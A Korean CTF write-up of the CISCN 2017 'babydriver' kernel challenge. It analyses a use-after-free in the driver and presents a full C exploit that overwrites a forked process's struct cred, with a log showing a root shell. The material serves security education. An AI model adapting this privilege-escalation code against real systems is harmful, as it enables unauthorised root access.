상세 컨텐츠

본문 제목

[CISCN CTF 2017] babydriver (kernel exploit, kUAF)

SYSTEM HACKING/CTF, etc

by koharin 2021. 11. 11. 23:19

본문

728x90
반응형

Background


Kernel module

  • 적재 가능한 커널 모듈(Loadable Kernel Module, LKM) 규격을 따르는 모듈
  • 목적: 커널에 필요한 기능을 탈부착할 수 있게 하기 위해
  • 커널에 부착 시 커널과 동일한 메모리 공간 사용한다.
    • 커널 모듈에서 취약점 발생 시 커널 공격 가능하다.

 

Kernel 메모리 할당자

  • 종류
    • slab: 커널 동적 메모리 할당자(dynamic memory allocator)
    • slub: 많은 CPU와 노드로 구성된 서버 환경에서 주로 사용되는 메모리 할당자
    • slob: 메모리가 제한적인 임베디드 환경에서 주로 사용되는 메모리 할당자
  • 커널은 Slab(슬랩) 메모리 할당자(slab allocator)로 메모리를 관리한다.
  • slab cache: 커널에서 자주 쓰이는 구조체 패턴에 따라 미리 할당 후 해당 할당된 메모리 주소를 반환해주는 기법

 

kmalloc, kfree

  • Kernel 영역에 heap 메모리를 할당, 해제하는 함수
void *kmalloc(size_t size, gfp_t flags);
  • size: 할당한 heap 크기
  • flags: 할당할 heap(메모리) 유형 → GFP_KERNEL flag
void kfree(const void * objp);
  • objp: kmalloc() 함수에 의해 반환된 포인터 주소

 

 

Setting


qemu 설치

sudo apt install qemu qemu-system qemu-utils qemu-system-x86

 

VMWare 가상화 켜기

  • VMWare Virtual Machine Setting → Processors → Virtualization engine의 Virtualize Intel VT-x/EPT or AMD-V/RVI 체크

 

 

Debug Setting


prerequisite

  1. boot.sh 부팅 쉘 스크립트에 -s 옵션 추가해서 1234 포트 열어주기 
  2. vmlinux 파일 
    • bzImage에서 vmlinux 추출한다.
  3. gdb 구동시킬 터미널 
  4. .text 주소 (base address)
    • root 권한의 /sys/module/core/sections/.text 파일을 읽어야 한다. 이 과정을 위해서만 부팅 스크립트를 root 권한으로 바꿔준다.

 

vmlinux 추출

  • vmlinux는 리눅스 커널 컴파일 시 생성되는 ELF 파일로, 커널의 심볼 및 디버그 심볼이 포함되어있다.
    • 디버그 심볼(debug symbol): 컴파일러가 해당 심볼 정보를 소스코드의 어느 부분에서 식별했는지 등의 정보를 가진다. gdb 등으로 디버깅 시 디버거는 디버그 심볼 정보를 이용하여 함수의 소스코드를 보여주는 기능이 있다.
  • extract-vmlinux 스크립트를 이용해서 vmlinux를 추출한다.
$ vi extract-vmlinux
$ chmod +x extract-vmlinux 
$ ./extract-vmlinux ncstisc_ctf_2018/babydriver/bzImage > ./ncstisc_ctf_2018/babydriver/vmlinux
$ binwalk vmlinux    

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
2951691       0x2D0A0B        Intel x86 or x64 microcode, pf_mask 0x00, 1BBD-01-03, rev 0x5c74800, size 259
12606512      0xC05C30        Intel x86 or x64 microcode, pf_mask 0x81cc0435, 1FFF-10-02, rev 0xf412fff, size 2048
12627680      0xC0AEE0        ELF, 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV)
12909592      0xC4FC18        LZO compressed data
12947008      0xC58E40        CRC32 polynomial table, little endian
13039104      0xC6F600        Intel x86 or x64 microcode, sig 0x0000000b, pf_mask 0x2012000, 2000-02-01, rev 0x-001, size 6
13095360      0xC7D1C0        Unix path: /sys/kernel/debug
15518161      0xECC9D1        Unix path: /sys/kernel/debug/tracing/trace_clock
15679723      0xEF40EB        Unix path: /dev/vc/0
15745103      0xF0404F        xz compressed data
15814009      0xF14D79        Unix path: /lib/firmware/updates/4.4.72
16183036      0xF6EEFC        Neighborly text, "NeighborSolicitss"
16183053      0xF6EF0D        Neighborly text, "NeighborAdvertisementscmp6OutMsgs"
16188697      0xF70519        Neighborly text, "neighbor table overflow!nvalid vlan"
16793600      0x1004000       ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
16801792      0x1006000       ELF, 32-bit LSB shared object, AMD x86-64, version 1 (SYSV)
16805888      0x1007000       ELF, 32-bit LSB shared object, Intel 80386, version 1 (SYSV)
20561281      0x139BD81       LZ4 compressed data, legacy
20561410      0x139BE02       LZ4 compressed data, legacy
21439160      0x14722B8       Certificate in DER format (x509 v3), header length: 4, sequence length: 1342
21529168      0x1488250       gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)

$ file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

 

base address 구하기

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
poweroff -d 3000 -f & 
setsid cttyhack setuidgid 0 sh                                                               

umount /proc
umount /sys
poweroff -d 0  -f
  • rootfs.cpio에서 파일시스템 얻은 후, init 파일을 수정하여 root 권한으로 바꿔준다.

find . | cpio -o —format=newc | gzip > exploit.cpio로 파일시스템 생성 후 boot.sh에 해당 파일경로를 넣어준다.

 

  • add-symbol-file <module_path> <base_address> babydriver 모듈의 .text 베이스 주소를 심볼로 로딩한다.
  • target remote:1234 문제가 실행되고 있는 qemu에 접속한다.

 

 

파일 확인


boot.sh bzImage rootfs.cpio

boot.sh qemu 실행하는 부팅 스크립트

#! /bin/sh

qemu-system-x86_64 \\
-initrd rootfs.cpio \\ 
-kernel bzImage \\ 
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \\
-enable-kvm \\
-monitor /dev/null \\
-m 64M \\ 
--nographic \\
-smp cores=1,threads=1 \\  
-cpu kvm64,+smep \\

→ 실행 시 커널 패닉 에러가 뜨면, -m 256M 옵션으로 램을 추가 할당해준다.

커널 디버깅을 위해 -s 옵션을 추가해서 1234 포트를 열어준다. -append 옵션 아래에 -s 옵션을 줘야 오류 발생 안 한다. (파일 시스템 로드 이후 gdb 설치되기 때문)

#! /bin/sh

qemu-system-x86_64 \\
-initrd rootfs.cpio \\ 
-kernel bzImage \\ 
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \\
-enable-kvm \\ 
-monitor /dev/null \\
-m 64M \\
--nographic  \\
-smp cores=1,threads=1 \\ 
-cpu kvm64,+smep \\
-s \\ 
  • -initrd rootfs.cpio - rootfs.cpio를 초기 램디스크로 로드하여 부팅
  • -kernel bzImage  - bzImage를 리눅스 커널로 로드하여 부팅
  • -enable-kvm  - qemu-kvm 사용. kvm == kernel-based Virtual Machine
  • -m 64M  - 가상 메모리(RAM)를 64MiB 할당
  • -smp cores=1,threads=1  - 가상 프로세서(CPU) 1개, 스레드 1개 할당
  • -cpu kvm64,+smep  - SMEP 보호기법 적용
  • -s  - gdb tcp::1234. 게스트가 일시 중지된 상태로 부팅된다.

rootfs.cpio 파일 시스템. 압축되어 있다.

bzImage 커널 이미지

 

 

Mitigation


#! /bin/sh

qemu-system-x86_64 \\
[...]
-smp cores=1,threads=1 \\
-cpu kvm64,+smep \\
  • SMEP → user space에서 kernel space의 함수 실행하지 못 하게 하는 커널 보호기법

 

 

qemu 실행 & 필요한 정보 확인


chmod +x boot.sh
./boot.sh
[...]
Boot took 1.60 seconds

/ $ [    3.771070] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x159643a31f0, max_ids
ls
bin        etc        home       linuxrc    pwn.c      sys
core.cpio  flag       init       proc       root       tmp
dev        fs.sh      lib        pwn        sbin       usr
/ $ uname -a
Linux (none) 4.4.72 #1 SMP Thu Jun 15 19:52:50 PDT 2017 x86_64 GNU/Linux
/ $ cat /proc/cpuinfo | grep flags
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflup
/ $ ls /lib/modules/4.4.72/
babydriver.ko   modules.dep.bb
/ $ cat /proc/modules 
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
  • 현재 권한은 ctf로, 이것을 root로 만드는 것이 목적이다.
  • 커널 버전은 4.4.72이다.

 

kernel module

  • 익스플로잇을 진행하기 위해서는 커널 모듈을 얻어야 하는데, 커널 모듈은 rootfs.cpio 안에 .ko 확장자로 들어있다. /lib/modules/<kernel-version>/ 경로에 위치한다.
    • babydriver.ko 파일이 취약점 분석을 진행할 커널 디바이스 드라이버 모듈이다.
$ xxd rootfs.cpio | head -10
00000000: 1f8b 0800 3354 5b59 0203 bc39 0b78 5365  ....3T[Y...9.xSe
00000010: 9637 6d02 e179 c308 8a8f 0a83 65ac ca23  .7m..y......e..#
00000020: e903 5ab0 632f bd29 7fb0 6819 a8b4 43aa  ..Z.c/.)..h...C.
00000030: 96b4 854a 5fd3 2650 1828 65d2 54ee 5ce3  ...J_.&P.(e.T.\\.
00000040: d61d dded ceee ecf8 b17c b3ac 30df c7b8  .........|..0...
00000050: 8805 9526 7df3 1829 884e 1165 cba3 7843  ...&}..).N.e..xC
00000060: 406a 99e1 2534 7bce 7f13 da5c 1b75 fca6  @j..%4{....\\.u..
00000070: 09e4 feff 39ff f9cf 39ff 79fd e7a6 fab9  ....9...9.y.....
00000080: fab9 7a83 5e6f 884f d5eb 13f4 f089 37a4  ..z.^o.O......7.
00000090: f1fa a13f 0b12 9212 1624 c4c7 720a 7ca2  ...?.....$..r.|.

$ binwalk rootfs.cpio 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             gzip compressed data, maximum compression, from Unix, last modified: 2017-07-04 08:39:15

$ mv rootfs.cpio rootfs.cpio.gz
$ gunzip rootfs.cpio.gz 
$ l
합계 2.8M
drwxrwxr-x 2 koharin koharin 4.0K 11월  6 15:51 .
drwxrwxr-x 3 koharin koharin 4.0K 11월  6 15:48 ..
-rwxrw-r-- 1 koharin koharin 2.8M 11월  6 15:48 rootfs.cpio
  • 0x1F8B08 로 시작하는 것으로 gzip으로 압축된 파일임을 알 수 있다. binwalk 명령어로도 확인할 수 있다.
  • 확장자를 gz로 변경 후 (변경 안 하면 gzip: rootfs.cpio: unknown suffix -- ignored 에러 발생) gunzip으로 압축해제 진행 시 rootfs.cpio를 얻을 수 있다.
$ binwalk rootfs.cpio

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ASCII cpio archive (SVR4 with no CRC), file name: ".", file name "
112           0x70            ASCII cpio archive (SVR4 with no CRC), file name: "etc", file nam"
228           0xE4            ASCII cpio archive (SVR4 with no CRC), file name: "etc/init.d", f"
352           0x160           ASCII cpio archive (SVR4 with no CRC), file name: "etc/passwd", f"
548           0x224           ASCII cpio archive (SVR4 with no CRC), file name: "etc/group", fi"
692           0x2B4           ASCII cpio archive (SVR4 with no CRC), file name: "bin", file nam"
808           0x328           ASCII cpio archive (SVR4 with no CRC), file name: "bin/su", file "
936           0x3A8           ASCII cpio archive (SVR4 with no CRC), file name: "bin/grep", fil"
1064          0x428           ASCII cpio archive (SVR4 with no CRC), file name: "bin/watch", fi"
1192          0x4A8           ASCII cpio archive (SVR4 with no CRC), file name: "bin/stat", fil"
1320          0x528           ASCII cpio archive (SVR4 with no CRC), file name: "bin/df", file "
1448          0x5A8           ASCII cpio archive (SVR4 with no CRC), file name: "bin/ed", file "
1576          0x628           ASCII cpio archive (SVR4 with no CRC), file name: "bin/mktemp", f"
1708          0x6AC           ASCII cpio archive (SVR4 with no CRC), file name: "bin/mpstat", f"
1840          0x730           ASCII cpio archive (SVR4 with no CRC), file name: "bin/makemime","
[...]
$ cpio -id -v < rootfs.cpio
.
etc
etc/init.d
etc/passwd
etc/group
bin
bin/su
bin/grep
bin/watch
bin/stat
bin/df
bin/ed
bin/mktemp
bin/mpstat
bin/makemime
bin/ipcalc
bin/mountpoint
[...]
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 블록
$ rm rootfs.cpio      
$ ls
bin  etc  home  init  lib  linuxrc  proc  sbin  sys  tmp  usr
$ ls ./lib/modules/4.4.72 
babydriver.ko
$ cp ./lib/modules/4.4.72/babydriver.ko .. 
$ cd ..    
$ ls                     
babydriver.ko  boot.sh  bzImage  rootfs  rootfs.cpio

babydriver.ko 커널 모듈을 디컴파일러로 열어서 분석을 진행한다.

 

 

Code Analysis


  • babydriver.ko 파일 디컴파일 시 확인할 수 있는 함수는 다음과 같다.
    • babyrelease
    • babyioctl
    • babywrite
    • babyread
    • babydriver_init
    • babydriver_exit

 

fops file operations

.data:00000000000008C0 fops            file_operations <offset __this_module, 0, offset babyread, \\
.data:00000000000008C0                                         ; DATA XREF: babydriver_init:loc_1AA↑o
.data:00000000000008C0                                  offset babywrite, 0, 0, 0, 0, offset babyioctl, 0, 0,\\
.data:00000000000008C0                                  offset babyopen, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \\
.data:00000000000008C0                                  0, 0, 0>

 

babydriver_init()

int __cdecl babydriver_init()
{
  __int64 v0; // rdx
  int v1; // edx
  __int64 v2; // rsi
  __int64 v3; // rdx
  int v4; // ebx
  class *v5; // rax
  __int64 v6; // rdx
  __int64 v7; // rax

  if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 ) // character device 번호 할당 babydev_no에 0번 디바이스 번호 할당
  {
    cdev_init(&cdev_0, &fops); // cdev 구조체 초기화
    v2 = babydev_no;
    cdev_0.owner = &_this_module;
    v4 = cdev_add(&cdev_0, babydev_no, 1LL); // cdev 구조체를 커널에 등록. character device 등록
    if ( v4 >= 0 )
    {
      v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no); 
      babydev_class = v5;
      if ( v5 )
      {
        v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev"); // device 생성 & device를 sysfs에 등록
        v1 = 0;
        if ( v7 )
          return v1;
        printk(&unk_351, 0LL, 0LL);
        class_destroy(babydev_class); // 모듈에 대한 정보 가지는 class 구조체 삭제
      }
      else
      {
        printk(&unk_33B, "babydev", v6);
      }
      cdev_del(&cdev_0); // 등록된 character device 제거
    }
    else
    {
      printk(&unk_327, v2, v3);
    }
    unregister_chrdev_region(babydev_no, 1LL); // 사용 중인 디바이스 번호 해제
    return v4;
  }
  printk(&unk_309, 0LL, v0);
  return 1;
}
  • 커널 모듈 실행 시 가장 먼저 실행되는 함수이다.
  • 디바이스 드라이버는 /dev/babydev 이다.
  • alloc_chrdev_region(dev_t dev, unsigned int firstminor, unsigned int count, char name)
    • character device driver 번호를 동적으로 할당하는 함수
      • *dev: 디바이스 번호 동적 할당에 성공할 경우 디바이스 번호가 할당된다.
      • firstminor: 디바이스에 할당될 첫 번째 minor number. 일반적으로 0
      • count: minor 번호로 디바이스 개수.
      • *name: 디바이스 이름(/proc/devices와 /proc/sysfs에 등록)
    • 커널에서 character device를 표현하기 위해 cdev 구조체를 사용한다.
      • IDA에서 Shift+F1으로 모듈에서 사용하는 구조체 리스트에서 cdev 검색 후 우클릭 → Edit으로 cdev 구조체 형태를 확인할 수 있다.
struct cdev { 
	kobject kobj; 
    module *owner; 
    const file_operations *ops; 
    list_head list; 
    dev_t dev; 
    unsigned int count; 
};
  • 커널이 file operation에 등록된 디바이스 등록 함수(open,read,write 등)를 호출하기 전에 할당 및 등록되어야 한다.
  • printk() : 커널 메시지 출력
  • cdev_init(&cdev_0, &fops) : cdev 구조체 초기화 함수로, cdev_0은 초기화할 cdev 구조체, fops는 등록할 fop 구조체 포인터에 해당한다.
  • class_create: 구조체 클래스 포인터 생성. 모듈에 대한 모든 정보를 가지는 class 구조체

 

babyopen()

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\\n", 0x24000C0LL, v2);
  return 0;
}
  • 디바이스를 open 시 호출되는 함수
  • device_buf, device_buf_len 필드를 가지는 babydev_struct 구조체가 있다.
  • babydev_struct를 누르면 bss 영역에 babydevice_t 이름의 구조체가 있고, Shift+F1으로 babydriver.ko 모듈에서 참조하는 구조체에서 babydevice_t를 검색해서 우클릭 → Edit 을 선택하면 babydevice_t 구조체 선언을 확인할 수 있다.
struct babydevice_t { 
	char *device_buf; // 할당된 메모리 포인터 
    size_t device_buf_len; // 할당 사이즈 
};
  • (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL)
    • 6번째 인덱스에 위치한 struct kmem_cache 구조체 타입의 kmalloc_caches 값을 전달한다.
    • 두 번째 인자는 함수 호출 시 플래그
    • 세번째 인자는 size로 메모리 할당 사이즈
    • kmem_cache_alloc_trace 함수는 slab_alloc() 함수를 호출하여 slub 객체를 할당한다.
      • 리턴값: slab_alloc() 함수 호출로 반환된 포인터값
      1 static __always_inline void *slab_alloc(struct kmem_cache *s,
      2		gfp_t gfpflags, unsigned long addr)
      3 {
      4	return slab_alloc_node(s, gfpflags, NUMA_NO_NODE, addr);
      5 }

 

1 void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size) 
2 { 
3 		void *ret = slab_alloc(s, gfpflags, _RET_IP_); 
4 		trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags); 
5 		kasan_kmalloc(s, ret, size, gfpflags); 
6 		return ret; 
7 }
  • device_buf에 64 크기의 힙을 할당하고, device_buf_len에는 할당된 사이즈인 64를 저장한다.

 

babywrite()

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf ) // 포인터 유효성 검사
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 ) // maxLen보다 크면 maxLen으로 크기 설정
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}
  • babydev_struct.device_buf가 유효한 경우, copy_from_user() 함수로 buffer(user space)의 데이터를 커널 영역에 복사한다.

 

babyread()

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf ) // 포인터 값 유효한지 검사
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 ) // v4: maxLen 
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}
  • 최대 사이즈는 v4이고, 이 크기보다 크고 babydev_struct.device_buf가 유효한 경우, device buf의 사이즈를 v4로 설정 후 copy_to_user로 buffer(user space)로 사용자 메모리 영역에 복사한다.

 

babydriver_exit()

void __cdecl babydriver_exit()
{
  device_destroy(babydev_class, babydev_no);
  class_destroy(babydev_class);
  cdev_del(&cdev_0);
  unregister_chrdev_region(babydev_no, 1LL);
}
  • kernel module 종료 시 호출되는 함수
  • babydriver_init 함수에서 등록한 character device, class 해제를 진행한다.

 

babyioctl() → vulnerability #1

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t size; // rdx
  size_t k_size; // rbx
  __int64 v5; // rdx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  k_size = size;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(k_size, 0x24000C0LL);
    babydev_struct.device_buf_len = k_size;
    printk("alloc done\\n", 0x24000C0LL, v5);
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB, size, size);
    result = -22LL;
  }
  return result;
}
  • command 값이 64437인 경우 할당되어있던 babydev_struct.device_buf가 가리키는 chunk를 해제한다.
  • kmalloc으로 v4 사이즈 만큼 0x24000C0 플래그(동적 메모리 할당 옵션, gfp flag)를 주고 할당 후, babydev_struct.device_buf에 해당 포인터 값을 저장한다. babydev_struct.device_buf_len에는 할당한 사이즈(k_size)를 저장한다.
  • kfree() 함수는 slub 객체가 할당된 동적 메모리를 해제한다.
    01 void kfree(const void *x)
    02 {
    03	struct page *page;
    04	void *object = (void *)x;
    05
    06	trace_kfree(_RET_IP_, x); // kfree trace 이벤트 메시지 출력
    07
    08	if (unlikely(ZERO_OR_NULL_PTR(x)))
    09		return;
    10
    11	page = virt_to_head_page(x); // slub 객체에 대응하는 slab 페이지를 page에 저장
    12	if (unlikely(!PageSlab(page))) { // 12~17: kfree()로 해제하는 메모리 타입이 slab이 아닐 경우 kernel panic 유발하는 코드
    13		BUG_ON(!PageCompound(page));
    14		kfree_hook(object);
    15		__free_pages(page, compound_order(page));
    16		return;
    17	}
    18	slab_free(page->slab_cache, page, object, NULL, 1, _RET_IP_); // 내부적으로 slab_free_freelist_hook(), do_slab_free() 함수를 호출하여 slub 객체를 slab 캐시의 per-cpu 캐시에 반환.
    19 }
    20 EXPORT_SYMBOL(kfree);
  • free 이후 babydev_struct 구조체의 device_buf 값을 NULL로 초기화하지 않아 전역변수에 이전에 사용된 chunk의 주소가 남아있다.
  • → UAF 취약점 발생
  • size_t size는 rdx인 것으로 세 번째 인자로, ioctl 함수의 세 번째 인자에 대응한다. 따라서 세 번째 인자 값으로 kmalloc으로 할당받는 힙 청크 사이즈를 제어할 수 있다.

 

babyrelease() → vulnerability #2

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\\n", filp, v2);
  return 0;
}
  • device를 close() 하는 경우 호출되는 함수이다.
  • device_buf를 해제한다.
  • babyioctl에서와는 다르게, kfree 호출 이후 kmalloc으로 babydev_struct 구조체의 device_buf를 갱신하지 않는다.
  • heap을 관리하는 구조체가 해제된 포인터 즉, dangling pointer를 가리킬 수 있다.

 

 

Vulnerability


힙 청크 포인터가 전역변수 babydev_struct의 device_buf 필드에 저장된다.

서로 다른 file descriptor는 동일한 babydev_struct 구조체를 참조한다.

babyioctl()

  • kfree로 babydev_struct.device_buf 포인터가 가리키는 힙 청크 해제 후 babydev_struct.device_buf 값을 NULL로 초기화하지 않는다.
  • kmalloc()의 첫 번째 인자(힙 청크 사이즈)를 원하는 값으로 줄 수 있다.

babyrelease()

  • kfree로 힙 청크 해제 후 babydev_struct.device_buf 값을 갱신하지 않아 해제된 힙 청크를 가리키는 포인터, 즉 dangling pointer를 가질 수 있다.

 

 

Exploit


Exploit Flow #1 struct cred exploit

  1. fd1, fd2 open()
    • 디바이스를 두 번 open()하여 babyopen()가 호출된다.
    • 전역변수 babydev_struct.device_buf는 64바이트 크기의 힙 청크를 가리킨다.
  2. ioctl(fd_1, 65537, 168)
    • babyioctl() 호출
    • 두 번째 인자가 65537인 경우, device_buf 값에 해당하는 힙 청크 해제 한다. 세 번째 인자 값을 168로 kmalloc을 통해 힙 청크 할당 후 해당 포인터를 device_buf 전역변수에 저장한다.
    • 힙 청크 크기인 168은 struct cred의 크기이다.
  3. fd1 close()
    • babyrelease() 호출
    • fd1이 할당된 힙 청크를 kfree로 해제한다.
    • 전역변수 device_buf를 kmalloc으로 갱신해주지 않아서 여전히 전역변수 device_buf는 168바이트의 해제된 힙 청크를 가리킨다. device_buf는 dangling pointer가 된다.
  4. user 프로그램에서 fork() 함수 통해 자식 프로세스 싱행
    • fork() 호출로 새로운 프로세스가 생성되고, 해당 프로세스의 자격증명을 위해 struct cred가 생성되는데, first-fit에 의해 168바이트의 해제된 힙 청크(UAF 영역)에 할당된다.
    • struct cred는 fork > sys_clone > do_fork > _do_fork > copy_process > copy_creds > prepare_creds > kmem_cache_alloc 과정으로 할당된다.
  5. UAF 취약점으로 write() 통해 struct cred 값을 변경한다.
    • write() 호출 시 babywrite() 함수가 호출되어 copy_from_user로 struct cred 값 30바이트를 0으로 수정한다.
      • cred 구조체의 30바이트가 권한 설정 부분이기 때문에 모두 0으로 채우면 LPE가 가능하다.
    struct cred {
    	atomic_t	usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    	atomic_t	subscribers;	/* number of processes subscribed */
    	void		*put_addr;
    	unsigned	magic;
    #define CRED_MAGIC	0x43736564
    #define CRED_MAGIC_DEAD	0x44656144
    #endif
    	kuid_t		uid;		/* real UID of the task */
    	kgid_t		gid;		/* real GID of the task */
    	kuid_t		suid;		/* saved UID of the task */
    	kgid_t		sgid;		/* saved GID of the task */
    	kuid_t		euid;		/* effective UID of the task */
    	kgid_t		egid;		/* effective GID of the task */
    	kuid_t		fsuid;		/* UID for VFS ops */
    	kgid_t		fsgid;		/* GID for VFS ops */
    	unsigned	securebits;	/* SUID-less security management */
    	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
    	kernel_cap_t	cap_permitted;	/* caps we're permitted */
    	kernel_cap_t	cap_effective;	/* caps we can actually use */
    	kernel_cap_t	cap_bset;	/* capability bounding set */
    	kernel_cap_t	cap_ambient;	/* Ambient capability set */
    #ifdef CONFIG_KEYS
    	unsigned char	jit_keyring;	/* default keyring to attach requested
    					 * keys to */
    	struct key __rcu *session_keyring; /* keyring inherited over fork */
    	struct key	*process_keyring; /* keyring private to this process */
    	struct key	*thread_keyring; /* keyring private to this thread */
    	struct key	*request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
    	void		*security;	/* subjective LSM security */
    #endif
    	struct user_struct *user;	/* real user ID subscription */
    	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
    	struct rcu_head	rcu;		/* RCU deletion hook */
    };
    
  6. system("/bin/sh") 실행 시 root 권한의 쉘을 획득할 수 있다.

 

Exploit Flow #2 struct tty_struct exploit

 

Exploit Code #1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
   
int main()
{
    int fd1,fd2, pid;
    char fake_cred[30] = {0};
  
    // babyopen()
    if ((fd1 = open("/dev/babydev", O_RDWR)) < 0){
        printf("[-] Cannot open /dev/babydev.\\n");
        exit(0);
    }
 
    // babyopen()
    if ((fd2 = open("/dev/babydev", O_RDWR)) < 0){
        printf("[-] Cannot open /dev/babydev.\\n");
        exit(0);
    }
 
    // babyioctl()
    if (ioctl(fd1, 65537, 168) < 0){
        printf("[-] ioctl Error\\n");
        exit(0);
    }
 
    // babyrelease()
    if (close(fd1) != 0){
        printf("[-] Cannot close fd1\\n");
        exit(0);
    }
   
    // allocate cred struct in 168 heap chunk
    pid = fork();
    if(pid < 0){
        printf("[-] fork error\\n");
        exit(0);
    }else if(pid == 0){
        write(fd2, fake_cred, 28);
 
        if(getuid() == 0){
            printf("[+] root now\\n");
            system("/bin/sh");
            exit(0);
        }else{
            printf("[-] UID : %d\\n",getuid());
        }
    }else{
        wait(1);
    }
 
    if (close(fd2) != 0){
        printf("[-] Cannot close\\n");
    }
 
    return 0;
}
gcc -static -o exploit expoit.c

 

Exploit

$ mv exploit home/ctf 
$ find . | cpio -o --format=newc | gzip > exploit.cpio
  • rootfs.cpio 압축해제로 얻은 파일시스템 내 /home/ctf로 exploit 파일을 복사한다.
  • exploit.cpio라는 압축된 파일 시스템을 생성한다.
#!/bin/sh

qemu-system-x86_64 -initrd ./rootfs/exploit.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • run.sh 스크립트는 새로 생성한 exploit.cpio를 로드하도록 수정한다.
./run.sh
[...]
Boot took 1.53 seconds

/ $ [    3.718328] tsc: Refined TSC clocksource calibration: 1497.585 MHz
[    3.724698] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x15963948c7f, max_idle_ns

/ $ cd /home/ctf/
~ $ ls
exploit
~ $ ./exploit
[   12.895748] device open
[   12.897609] device open
[   12.899542] alloc done
[   12.901388] device release
PID 92
PID 0
[+] root now.
/home/ctf # id
uid=0(root) gid=0(root) groups=1000(ctf)
/home/ctf # cat flag
cat: can't open 'flag': No such file or directory
/home/ctf # whoami
root
/home/ctf #

 

 

Reference


[linux kernel] (7) - 2018 QWB ctf : core (ret2usr)

ctf之linux kernel pwn篇

[리눅스커널] 메모리 관리: kmalloc 캐시 슬럽 오브젝트 할당 커널 함수 분석하기

캐릭터 디바이스 드라이버 (Character Device Driver)

[Kernel] Linux kernel (6) - CISCN 2017 babydriver write-up ( Linux kernel UAF )

[리눅스커널] 메모리 관리: 슬럽 오브젝트 해제하는 kfree() 함수 분석하기

06.Use-After-Free(UAF) (feat.struct cred)

07.Use-After-Free(UAF) (feat.tty_struct)

dreamhack linux kernel exploit 강좌

728x90
반응형

관련글 더보기